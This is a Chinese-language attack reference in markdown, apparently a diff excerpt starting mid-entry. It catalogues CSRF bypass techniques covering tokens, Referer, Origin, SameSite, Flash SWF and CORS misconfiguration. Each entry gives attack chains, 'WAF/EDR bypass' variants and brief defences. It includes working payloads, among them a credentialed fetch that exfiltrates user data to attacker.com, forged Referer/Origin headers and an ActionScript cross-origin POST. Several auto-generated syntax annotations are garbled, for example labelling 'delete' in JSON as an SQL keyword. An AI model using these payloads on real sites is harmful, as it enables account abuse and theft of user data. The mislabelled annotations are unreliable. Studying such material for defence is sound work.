+ 2. 确认CORS配置
210
+ 3. 构造JSON payload
211
+ 4. 使用text/plain绕过预检
212
+ 5. 诱导用户触发
213
+
214
+ **防御措施:** 防御措施:
215
+ 1. 验证Content-Type
216
+ 2. 使用CSRF Token
217
+ 3. 配置正确的CORS
218
+ 4. 验证Origin头
219
+
220
+ ---
221
+
222
+ ### CSRF绕过技术 `csrf-bypass`
223
+ _绕过CSRF防护的各种技术_
224
+ 子类:**绕过技术** · tags: `csrf` `bypass` `token` `referer`
225
+
226
+ **前置条件:**
227
+ - 目标存在CSRF防护
228
+ - 防护机制存在缺陷
229
+
230
+ **攻击链:**
231
+
232
+ **1. Token验证绕过**
233
+ > 绕过Token验证
234
+ ```
235
+ # Token可预测
236
+ 分析Token生成规律,预测有效Token
237
+
238
+ # Token未绑定会话
239
+ 使用其他用户的Token
240
+
241
+ # Token重用
242
+ 同一个Token可多次使用
243
+
244
+ # Token在GET参数中泄露
245
+ 从页面源码获取Token
246
+ ```
247
+ **语法解析:**
248
+ - `Token可预测` — Token有规律可循 _value_
249
+ - `Token未绑定` — Token与会话无关 _value_
250
+
251
+ **2. Referer验证绕过**
252
+ > 绕过Referer验证
253
+ ```
254
+ # 正则匹配不严谨
255
+ Referer: http://attacker.com/target.com/
256
+ Referer: http://target.com.attacker.com/
257
+
258
+ # 空Referer
259
+ <meta name="referrer" content="no-referrer">
260
+
261
+ # HTTPS->HTTP降级
262
+ 从HTTPS站点跳转到HTTP不发送Referer
263
+ ```
264
+ **语法解析:**
265
+ - `正则绕过` — 利用正则匹配缺陷 _value_
266
+ - `no-referrer` — 不发送Referer _value_
267
+
268
+ **3. Origin验证绕过**
269
+ > 绕过Origin验证
270
+ ```
271
+ # Origin为null
272
+ 使用data URL或about:blank
273
+
274
+ # 正则绕过
275
+ Origin: http://target.com.attacker.com
276
+ Origin: http://attacktarget.com
277
+
278
+ # IE11不发送Origin
279
+ IE11在某些情况下不发送Origin头
280
+ ```
281
+
282
+ **4. SameSite绕过**
283
+ > 绕过SameSite限制
284
+ ```
285
+ # SameSite=Lax
286
+ GET请求会发送Cookie
287
+ 构造GET形式的敏感操作
288
+
289
+ # SameSite未设置
290
+ 默认行为可能允许跨站发送
291
+
292
+ # 两分钟窗口
293
+ SameSite=Lax有2分钟窗口期
294
+ ```
295
+ **语法解析:**
296
+ - `SameSite=Lax` — GET请求允许Cookie _value_
297
+ - `2分钟窗口` — Lax模式的宽限期 _value_
298
+
299
+ **WAF/EDR 绕过变体:**
300
+
301
+ **CORS配置错误**
302
+ > 利用CORS配置错误
303
+ ```
304
+ # Access-Control-Allow-Origin: null
305
+ Access-Control-Allow-Credentials: true
306
+
307
+ # Access-Control-Allow-Origin: *
308
+ 允许任意源
309
+
310
+ # 反射Origin
311
+ Access-Control-Allow-Origin: [任意Origin]
312
+ ```
313
+ **语法解析:**
314
+ - `#` — 命令/载荷起始 _command_
315
+ - ` Access-Control-Allow-Origin: null
316
+ Access-Control-Allow-Credentials: true
317
+
318
+ # Access-Control-Allow-Origin: *
319
+ 允许任意源
320
+
321
+ # 反射Origin
322
+ Access-Control-Allow-Origin: [任意Origin]` — 参数与载荷内容 _value_
323
+
324
+
325
+ **概述:** CSRF防护绕过技术针对各种不完善的Token实现,包括Token值可预测、Token未绑定会话、静态Token重用、仅验证Token存在性(不验证值)等常见缺陷。
326
+
327
+ **漏洞原理:** CSRF Token绕过的常见场景:1)删除Token参数后服务器不验证 2)使用空值Token通过验证 3)Token未与Session绑定(可使用攻击者自己的Token) 4)Token可通过XSS窃取 5)Referer验证用正则可被绕过。
328
+
329
+ **利用方法:** 完整利用流程:
330
+ 1. 分析CSRF防护机制
331
+ 2. 找到验证缺陷
332
+ 3. 构造绕过payload
333
+ 4. 执行CSRF攻击
334
+
335
+ **防御措施:** 防御措施:
336
+ 1. 使用安全的Token机制
337
+ 2. Token绑定会话
338
+ 3. 严格验证Referer/Origin
339
+ 4. 使用SameSite=Strict
340
+
341
+ ---
342
+
343
+ ### SameSite绕过技术 `csrf-samesite`
344
+ _绕过SameSite Cookie属性的CSRF攻击_
345
+ 子类:**SameSite绕过** · tags: `csrf` `samesite` `cookie` `bypass`
346
+
347
+ **前置条件:**
348
+ - Cookie设置了SameSite属性
349
+ - SameSite配置存在缺陷
350
+
351
+ **攻击链:**
352
+
353
+ **1. SameSite=Lax绕过**
354
+ > 绕过SameSite=Lax
355
+ ```
356
+ # GET请求绕过
357
+ 构造GET形式的敏感操作
358
+ <img src="http://target.com/delete?id=123">
359
+
360
+ # 顶级导航
361
+ <a href="http://target.com/action">点击</a>
362
+ window.location = "http://target.com/action"
363
+
364
+ # 两分钟窗口
365
+ 在用户交互后2分钟内发起请求
366
+ ```
367
+ **语法解析:**
368
+ - `GET请求` — Lax允许GET携带Cookie _value_
369
+ - `顶级导航` — Lax允许顶级导航 _value_
370
+ - `2分钟窗口` — 用户交互后的宽限期 _value_
371
+
372
+ **2. SameSite=Strict绕过**
373
+ > 绕过SameSite=Strict
374
+ ```
375
+ # 子域名攻击
376
+ 从子域名发起请求
377
+ http://sub.target.com/attack
378
+
379
+ # Cookie覆盖
380
+ 设置同名Cookie覆盖
381
+ Set-Cookie: session=attacker; Domain=.target.com
382
+
383
+ # 利用重定向
384
+ 从目标站点重定向到攻击页面
385
+ ```
386
+
387
+ **3. 未设置SameSite**
388
+ > 利用未设置SameSite
389
+ ```
390
+ # 旧浏览器默认行为
391
+ Chrome < 80 默认None
392
+ Safari 默认None
393
+
394
+ # 可直接发起CSRF攻击
395
+ 无需特殊绕过
396
+ ```
397
+
398
+ **4. 利用OAuth流程**
399
+ > 利用OAuth流程
400
+ ```
401
+ # OAuth回调绕过SameSite
402
+ 1. 发起OAuth登录
403
+ 2. 在回调中注入恶意请求
404
+ 3. Cookie在OAuth流程中发送
405
+ ```
406
+
407
+ **WAF/EDR 绕过变体:**
408
+
409
+ **混合内容**
410
+ > 利用混合内容
411
+ ```
412
+ # HTTPS->HTTP降级
413
+ 从HTTPS站点发起HTTP请求
414
+ 某些情况下不发送SameSite
415
+ ```
416
+ **语法解析:**
417
+ - `#` — 命令/载荷起始 _command_
418
+ - ` HTTPS->HTTP降级
419
+ 从HTTPS站点发起HTTP请求
420
+ 某些情况下不发送SameSite` — 参数与载荷内容 _value_
421
+
422
+ **客户端重定向**
423
+ > 客户端重定向
424
+ ```
425
+ # JavaScript重定向
426
+ location.href = "http://target.com/action"
427
+ 可能绕过某些SameSite检查
428
+ ```
429
+ **语法解析:**
430
+ - `#` — 命令/载荷起始 _command_
431
+ - ` JavaScript重定向
432
+ location.href = "http://target.com/action"
433
+ 可能绕过某些SameSite检查` — 参数与载荷内容 _value_
434
+
435
+
436
+ **概述:** SameSite Cookie属性是浏览器层面的CSRF防御机制,但配置不当(如SameSite=None)或使用GET请求触发状态变更操作时仍可被绕过,需要结合其他防御措施。
437
+
438
+ **漏洞原理:** SameSite绕过场景:1)SameSite=Lax下GET请求仍携带Cookie(针对GET方法的状态变更) 2)SameSite=None配置错误 3)子域名间Cookie共享 4)通过window.open/top-level导航绕过Lax限制 5)旧浏览器不支持SameSite属性。
439
+
440
+ **利用方法:** 完整利用流程:
441
+ 1. 确定SameSite配置
442
+ 2. 选择合适的绕过方法
443
+ 3. 构造GET请求或利用窗口期
444
+ 4. 执行CSRF攻击
445
+
446
+ **防御措施:** 防御措施:
447
+ 1. 使用SameSite=Strict
448
+ 2. 配合CSRF Token
449
+ 3. 关键操作使用POST
450
+ 4. 验证请求来源
451
+
452
+ ---
453
+
454
+ ### Token绕过技术 `csrf-token-bypass`
455
+ _绕过CSRF Token验证的技术_
456
+ 子类:**Token绕过** · tags: `csrf` `token` `bypass` `predictable`
457
+
458
+ **前置条件:**
459
+ - 目标使用CSRF Token
460
+ - Token机制存在缺陷
461
+
462
+ **攻击链:**
463
+
464
+ **1. Token可预测**
465
+ > 预测Token值
466
+ ```
467
+ # 分析Token生成规律
468
+ # 常见弱Token模式:
469
+ - 时间戳
470
+ - 递增数字
471
+ - 用户ID哈希
472
+ - 弱随机数
473
+
474
+ # 预测并构造有效Token
475
+ ```
476
+ **语法解析:**
477
+ - `时间戳` — 基于时间的Token _value_
478
+ - `递增数字` — 可预测的序列 _value_
479
+
480
+ **2. Token未绑定会话**
481
+ > 利用未绑定Token
482
+ ```
483
+ # Token不验证会话
484
+ # 攻击步骤:
485
+ 1. 攻击者获取自己的Token
486
+ 2. 使用该Token构造CSRF
487
+ 3. 诱使受害者提交
488
+
489
+ # Token可跨用户使用
490
+ ```
491
+
492
+ **3. Token泄露**
493
+ > 利用Token泄露
494
+ ```
495
+ # Token在URL中泄露
496
+ http://target.com/page?token=xxx
497
+
498
+ # Token在Referer中泄露
499
+ 从包含Token的页面跳转
500
+
501
+ # Token在日志中泄露
502
+ 服务器日志记录Token
503
+ ```
504
+ **语法解析:**
505
+ - `URL泄露` — Token出现在URL中 _value_
506
+ - `Referer泄露` — 通过Referer头泄露 _value_
507
+
508
+ **4. Token重放**
509
+ > Token重放攻击
510
+ ```
511
+ # Token可重复使用
512
+ # 攻击步骤:
513
+ 1. 获取有效Token
514
+ 2. 多次使用同一Token
515
+ 3. Token不过期或不失效
516
+ ```
517
+
518
+ **5. Token删除绕过**
519
+ > 删除Token绕过
520
+ ```
521
+ # 尝试删除Token参数
522
+ POST /action HTTP/1.1
523
+ # 不发送Token参数
524
+
525
+ # 尝试空Token
526
+ POST /action?token=
527
+
528
+ # 尝试删除Token头
529
+ ```
530
+
531
+ **WAF/EDR 绕过变体:**
532
+
533
+ **方法覆盖**
534
+ > 方法覆盖绕过
535
+ ```
536
+ # 使用_method参数
537
+ POST /action?_method=PUT&token=xxx
538
+
539
+ # 使用X-HTTP-Method-Override
540
+ X-HTTP-Method-Override: PUT
541
+ ```
542
+ **语法解析:**
543
+ - `#` — 命令/载荷起始 _command_
544
+ - ` 使用_method参数
545
+ POST /action?_method=PUT&token=xxx
546
+
547
+ # 使用X-HTTP-Method-Override
548
+ X-HTTP-Method-Override: PUT` — 参数与载荷内容 _value_
549
+
550
+ **JSON格式**
551
+ > JSON格式绕过
552
+ ```
553
+ # 使用JSON格式提交
554
+ Content-Type: application/json
555
+ {"token": "xxx", "action": "delete"}
556
+
557
+ # 可能绕过Token验证
558
+ ```
559
+ **语法解析:**
560
+ - `# 使用JSON格式提交
561
+ Content-Type: application/json
562
+ {"token": "xxx", "action": "` — SQL表达式 _value_
563
+ - `delete` — SQL关键字 _keyword_
564
+ - `"}
565
+
566
+ # 可能绕过Token验证` — SQL表达式 _value_
567
+
568
+
569
+ **概述:** CSRF Token绕过是最常见的CSRF防护绕过方式,通过分析Token生成算法、利用实现缺陷或结合其他漏洞(如XSS)来获取或预测有效的Token值。
570
+
571
+ **漏洞原理:** CSRF Token实现缺陷包括:Token使用简单算法生成(如MD5(时间戳))可预测、Token在Cookie和表单中不一致但均被接受、Token未在服务端验证仅做前端校验、Token在URL参数中泄露(Referer头)、Token长度过短可爆破。
572
+
573
+ **利用方法:** 完整利用流程:
574
+ 1. 分析Token生成机制
575
+ 2. 检查Token绑定关系
576
+ 3. 尝试预测或获取Token
577
+ 4. 构造CSRF攻击
578
+
579
+ **防御措施:** 防御措施:
580
+ 1. 使用强随机Token
581
+ 2. Token绑定会话
582
+ 3. Token一次性使用
583
+ 4. 验证Token存在性
584
+
585
+ ---
586
+
587
+ ### Referer绕过技术 `csrf-referer-bypass`
588
+ _绕过Referer验证的CSRF攻击_
589
+ 子类:**Referer绕过** · tags: `csrf` `referer` `bypass` `header`
590
+
591
+ **前置条件:**
592
+ - 目标验证Referer头
593
+ - 验证逻辑存在缺陷
594
+
595
+ **攻击链:**
596
+
597
+ **1. 正则匹配绕过**
598
+ > 利用正则匹配缺陷
599
+ ```
600
+ # 正则只检查包含
601
+ Referer: http://attacker.com/target.com/
602
+ Referer: http://target.com.attacker.com/
603
+ Referer: http://attacktarget.com/
604
+
605
+ # 正则只检查开头
606
+ Referer: http://target.com.attacker.com/
607
+
608
+ # 正则只检查结尾
609
+ Referer: http://attacker.com/target.com
610
+ ```
611
+ **语法解析:**
612
+ - `包含匹配` — 只检查是否包含域名 _value_
613
+ - `开头匹配` — 只检查开头 _value_
614
+ - `结尾匹配` — 只检查结尾 _value_
615
+
616
+ **2. 空Referer绕过**
617
+ > 发送空Referer
618
+ ```
619
+ # 不发送Referer
620
+ <meta name="referrer" content="no-referrer">
621
+
622
+ # data URL
623
+ data:text/html,<script>CSRF</script>
624
+
625
+ # about:blank
626
+ about:blank
627
+
628
+ # HTTPS->HTTP降级
629
+ 从HTTPS站点跳转到HTTP
630
+ ```
631
+ **语法解析:**
632
+ - `no-referrer` — 浏览器不发送Referer _value_
633
+ - `data URL` — data协议无源 _value_
634
+
635
+ **3. 子域名绕过**
636
+ > 利用子域名
637
+ ```
638
+ # 从子域名发起
639
+ Referer: http://sub.target.com/attack
640
+
641
+ # 从兄弟域名发起
642
+ Referer: http://sibling.target.com/
643
+
644
+ # 利用子域名XSS
645
+ 在子域名注入XSS发起CSRF
646
+ ```
647
+
648
+ **4. Referrer-Policy利用**
649
+ > 利用Referrer-Policy
650
+ ```
651
+ # origin-only
652
+ <meta name="referrer" content="origin">
653
+ Referer: http://target.com
654
+
655
+ # origin-when-cross-origin
656
+ <meta name="referrer" content="origin-when-cross-origin">
657
+ ```
658
+
659
+ **WAF/EDR 绕过变体:**
660
+
661
+ **iframe嵌入**
662
+ > iframe绕过
663
+ ```
664
+ # 使用iframe嵌入目标
665
+ <iframe src="http://target.com" referrerpolicy="no-referrer">
666
+
667
+ # sandbox属性
668
+ <iframe sandbox="allow-scripts" src="...">
669
+ ```
670
+ **语法解析:**
671
+ - `#` — 命令/载荷起始 _command_
672
+ - ` 使用iframe嵌入目标
673
+ <iframe src="http://target.com" referrerpolicy="no-referrer">
674
+
675
+ # sandbox属性
676
+ <iframe sandbox="allow-scripts" src="...">` — 参数与载荷内容 _value_
677
+
678
+ **Flash/SWF**
679
+ > Flash控制Referer
680
+ ```
681
+ # Flash可以控制Referer
682
+ # 编译SWF发送自定义Referer
683
+ ```
684
+ **语法解析:**
685
+ - `#` — 命令/载荷起始 _command_
686
+ - ` Flash可以控制Referer
687
+ # 编译SWF发送自定义Referer` — 参数与载荷内容 _value_
688
+
689
+
690
+ **概述:** Referer验证是CSRF防御的补充手段,但由于Referer头可被操纵或省略,基于Referer的防护通常不够可靠。多种技术可绕过不严格的Referer验证逻辑。
691
+
692
+ **漏洞原理:** Referer绕过技术:1)使用Referrer-Policy: no-referrer不发送Referer头 2)HTTPS→HTTP降级不携带Referer 3)data: URI不发送Referer 4)正则匹配缺陷(如target.com.evil.com) 5)子域名绕过(sub.target.com)。
693
+
694
+ **利用方法:** 完整利用流程:
695
+ 1. 分析Referer验证逻辑
696
+ 2. 构造绕过域名
697
+ 3. 使用空Referer
698
+ 4. 执行CSRF攻击
699
+
700
+ **防御措施:** 防御措施:
701
+ 1. 严格验证Referer格式
702
+ 2. 拒绝空Referer
703
+ 3. 使用白名单验证
704
+ 4. 配合CSRF Token
705
+
706
+ ---
707
+
708
+ ### Flash CSRF攻击 `csrf-flash`
709
+ _利用Flash进行CSRF攻击_
710
+ 子类:**Flash CSRF** · tags: `csrf` `flash` `swf` `crossdomain`
711
+
712
+ **前置条件:**
713
+ - 目标允许Flash请求
714
+ - crossdomain.xml配置不当
715
+
716
+ **攻击链:**
717
+
718
+ **1. crossdomain.xml利用**
719
+ > 检查跨域策略文件
720
+ ```
721
+ # 检查crossdomain.xml
722
+ http://target.com/crossdomain.xml
723
+
724
+ # 允许所有域
725
+ <cross-domain-policy>
726
+ <allow-access-from domain="*"/>
727
+ </cross-domain-policy>
728
+
729
+ # 允许特定域
730
+ <allow-access-from domain="*.target.com"/>
731
+ ```
732
+ **语法解析:**
733
+ - `crossdomain.xml` — Flash跨域策略文件 _path_
734
+ - `allow-access-from` — 允许访问的域 _value_
735
+
736
+ **2. 创建恶意SWF**
737
+ > 创建恶意Flash文件
738
+ ```
739
+ // ActionScript代码
740
+ package {
741
+ import flash.net.*;
742
+ public class CSRF {
743
+ public function CSRF() {
744
+ var req:URLRequest = new URLRequest("http://target.com/api/action");
745
+ req.method = URLRequestMethod.POST;
746
+ req.data = "param=value";
747
+ req.requestHeaders.push(new URLRequestHeader("Content-Type", "application/json"));
748
+ sendToURL(req);
749
+ }
750
+ }
751
+ }
752
+ ```
753
+ **语法解析:**
754
+ - `URLRequest` — Flash HTTP请求类 _value_
755
+ - `sendToURL` — 发送请求 _value_
756
+
757
+ **3. 发送JSON请求**
758
+ > 发送JSON格式请求
759
+ ```
760
+ // Flash可以发送任意Content-Type
761
+ req.requestHeaders.push(
762
+ new URLRequestHeader("Content-Type", "application/json")
763
+ );
764
+ req.data = JSON.stringify({email: "attacker@evil.com"});
765
+ ```
766
+ **语法解析:**
767
+ - `Content-Type` — 内容类型头 _header_
768
+
769
+ **4. 自定义Header**
770
+ > 添加自定义Header
771
+ ```
772
+ // Flash可以添加自定义Header
773
+ req.requestHeaders.push(
774
+ new URLRequestHeader("X-Custom-Header", "value")
775
+ );
776
+
777
+ // 绕过某些Header验证
778
+ ```
779
+ **语法解析:**
780
+ - `//` — 命令/关键字 _command_
781
+
782
+ **WAF/EDR 绕过变体:**
783
+
784
+ **绕过预检请求**
785
+ > 绕过CORS预检
786
+ ```
787
+ # Flash可以绕过CORS预检
788
+ # 直接发送POST请求
789
+ # 携带Cookie
790
+ ```
791
+ **语法解析:**
792
+ - `#` — 命令/载荷起始 _command_
793
+ - ` Flash可以绕过CORS预检
794
+ # 直接发送POST请求
795
+ # 携带Cookie` — 参数与载荷内容 _value_
796
+
797
+
798
+ **概述:** Flash CSRF利用Adobe Flash的跨域请求能力发送自定义Content-Type的HTTP请求,虽然Flash已于2020年末停止支持,但了解此技术对理解CSRF攻击演变仍有价值。
799
+
800
+ **漏洞原理:** Flash CSRF的原理:SWF文件可通过URLRequest发送自定义Content-Type(如application/json)的跨域请求,绕过浏览器HTML表单的Content-Type限制。需目标域的crossdomain.xml配置允许跨域,或利用307重定向转发请求。
801
+
802
+ **利用方法:** 完整利用流程:
803
+ 1. 检查crossdomain.xml
804
+ 2. 创建恶意SWF
805
+ 3. 嵌入HTML页面
806
+ 4. 诱导用户访问
807
+
808
+ **防御措施:** 防御措施:
809
+ 1. 配置严格的crossdomain.xml
810
+ 2. 使用CSRF Token
811
+ 3. 验证Origin/Referer
812
+ 4. 禁用Flash支持
813
+
814
+ ---
815
+
816
+ ### CORS配置错误利用 `csrf-cors`
817
+ _利用CORS配置错误进行CSRF攻击_
818
+ 子类:**CORS配置错误** · tags: `csrf` `cors` `misconfiguration` `api`
819
+
820
+ **前置条件:**
821
+ - CORS配置错误
822
+ - 允许跨域携带凭证
823
+
824
+ **攻击链:**
825
+
826
+ **1. 检测CORS配置**
827
+ > 检测CORS配置
828
+ ```
829
+ # 发送测试请求
830
+ curl -H "Origin: http://attacker.com" http://target.com/api
831
+
832
+ # 检查响应头
833
+ Access-Control-Allow-Origin: http://attacker.com
834
+ Access-Control-Allow-Credentials: true
835
+
836
+ # 危险配置
837
+ Access-Control-Allow-Origin: *
838
+ Access-Control-Allow-Credentials: true
839
+ ```
840
+ **语法解析:**
841
+ - `Access-Control-Allow-Origin` — 允许的源 _value_
842
+ - `Access-Control-Allow-Credentials` — 允许携带凭证 _value_
843
+
844
+ **2. 反射Origin攻击**
845
+ > 利用反射Origin
846
+ ```
847
+ # 服务器反射任意Origin
848
+ Access-Control-Allow-Origin: [请求的Origin]
849
+ Access-Control-Allow-Credentials: true
850
+
851
+ # 攻击代码
852
+ fetch("http://target.com/api/sensitive", {
853
+ credentials: "include"
854
+ })
855
+ .then(r => r.json())
856
+ .then(data => sendToAttacker(data));
857
+ ```
858
+ **语法解析:**
859
+ - `fetch()` — 网络请求 _function_
860
+
861
+ **3. null源攻击**
862
+ > 利用null源
863
+ ```
864
+ # 允许null源
865
+ Access-Control-Allow-Origin: null
866
+ Access-Control-Allow-Credentials: true
867
+
868
+ # 使用data URL
869
+ <iframe src="data:text/html,<script>
870
+ fetch('http://target.com/api', {credentials: 'include'})
871
+ .then(r => r.json()).then(sendToAttacker);
872
+ </script>"></iframe>
873
+ ```
874
+ **语法解析:**
875
+ - `null` — data URL的Origin为null _keyword_
876
+
877
+ **4. 正则绕过**
878
+ > 正则匹配绕过
879
+ ```
880
+ # 正则匹配不严谨
881
+ 允许: target.com
882
+ 绕过: attacktarget.com
883
+ target.com.attacker.com
884
+
885
+ # 攻击代码
886
+ fetch("http://target.com.api.attacker.com/api", {
887
+ credentials: "include"
888
+ });
889
+ ```
890
+ **语法解析:**
891
+ - `fetch()` — 网络请求 _function_
892
+
893
+ **WAF/EDR 绕过变体:**
894
+
895
+ **窃取敏感数据**
896
+ > 窃取用户数据
897
+ ```
898
+ # 利用CORS窃取数据
899
+ fetch("http://target.com/api/user", {
900
+ credentials: "include"
901
+ })
902
+ .then(r => r.json())
903
+ .then(data => {
904
+ new Image().src = "http://attacker.com/log?data=" + encodeURIComponent(JSON.stringify(data));
905
+ });
906
+ ```
907
+ **语法解析:**
908
+ - `# 利用CORS窃取数据
909
+ fetch("http://target.com/api/user", {
910
+ credentials: "include"
911
+ }` — 攻击载荷 _value_
912
+
913
+ **执行敏感操作**
914
+ > 执行敏感操作
915
+ ```
916
+ # 利用CORS执行操作
917
+ fetch("http://target.com/api/delete", {
918
+ method: "POST",
919
+ credentials: "include",
920
+ headers: {"Content-Type": "application/json"},
921
+ body: JSON.stringify({id: 123})
922
+ });
923
+ ```
924
+ **语法解析:**
925
+ - `# 利用CORS执行操作
926
+ fetch("http://target.com/api/` — SQL表达式 _value_
927
+ - `delete` — SQL关键字 _keyword_
928
+ - `", {
929
+ method: "POST",
930
+ credentials: "include",
931
+ headers: {"Content-Type": "application/json"},
932
+ body: JSON.stringify({id: 123})
933
+ });` — SQL表达式 _value_
934
+
935
+
936
+ **概述:** CORS(Cross-Origin Resource Sharing)配置错误可被利用来绕过同源策略的CSRF防护,特别是当Access-Control-Allow-Origin反射请求的Origin头或配置为通配符时。
937
+
938
+ **漏洞原理:** CORS相关CSRF风险:1)Access-Control-Allow-Origin反射任意Origin 2)配合Access-Control-Allow-Credentials: true泄露认证数据 3)内网域名在白名单中可从内网发起攻击 4)null Origin在白名单中(iframe sandbox可伪造)。
939
+
940
+ **利用方法:** 完整利用流程:
941
+ 1. 检测CORS配置
942
+ 2. 确认允许凭证
943
+ 3. 构造跨域请求
944
+ 4. 窃取数据或执行操作
945
+
946
+ **防御措施:** 防御措施:
947
+ 1. 使用白名单验证Origin
948
+ 2. 不反射Origin
949
+ 3. 谨慎设置Credentials
950
+ 4. 使用SameSite Cookie
951
+
952
+ ---